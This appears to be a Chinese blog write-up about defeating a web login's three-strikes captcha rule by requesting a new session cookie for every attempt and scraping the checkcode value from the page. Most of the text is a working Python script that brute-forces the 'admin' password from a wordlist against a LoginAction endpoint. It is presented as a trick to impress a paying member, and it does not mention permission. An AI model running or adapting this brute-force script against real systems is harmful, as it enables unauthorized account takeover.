前言
晚上九点半,会员群师傅突然给我发消息:
正文
把登陆包重放,回显异常,没有出现”账号或密码出现错误“的提示:
第一次尝试分析
第二次尝试分析
峰回路转
其他包其实都只是一些正常的获取JS、图片的包,只有这个包才参与了后端的登陆前流程校验,按部就班替换code,重放登陆包得到正确回显,而由于我们每次都可以获取一个新的cookie来尝试登陆,所以其实后端针对cookie写的对登陆次数达到三次后启用图形验证码的规则也就无效了,我们可以直接写一个py脚本去爆破:
import requests
import re
import hashlib
import random
def md5_hash(password):
return hashlib.md5(password.encode('utf-8')).hexdigest()
url_login = "http://ip/Self/LoginAction.action"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded",
"Referer": "http://ip/Self/LoginAction.action",
"Connection": "close"
}
with open('pass.txt', 'r') as file:
passwords = file.readlines()
for password in passwords:
data = "account=admin&password=4297f44b13955235245b2497399d7a93&code=&checkcode=463&Submit=%E7%99%BB+%E5%BD%95"
response = requests.post(url_login, headers=headers, data=data)
jsessionid = response.cookies.get('JSESSIONID')
match = re.search(r'checkcode="(.*?)";', response.text)
checkcode_value = match.group(1) if match else None
url_random_code = f"http://ip/Self/RandomCodeAction.action?randomNum={random.uniform(0, 1)}"
headers_random = {
"User-Agent": headers["User-Agent"],
"Referer": headers["Referer"],
"Connection": "close",
"Cookie": f"JSESSIONID={jsessionid}"
}
requests.get(url_random_code, headers=headers_random)
password = password.strip()
if password:
md5_password = md5_hash(password)
data_final = f"account=admin&password={md5_password}&code=&checkcode={checkcode_value}&Submit=%E7%99%BB+%E5%BD%95"
response_final = requests.post(url_login, headers=headers, data=data_final, cookies={'JSESSIONID': jsessionid})
if "账号或密码出现错误" in response_final.text:
print(f"密码 '{password}' 登陆失败")
else:
print(f"可能登陆成功了哦~")
exit
最后也是成功让会员折服,直接续费了一年会员
结语
这次故事告诉我们,每一个数据包都有可能是重要的。
后来把这个事情分享给团队大哥们,有大哥说这其实是反爬的一种方式。
——The End——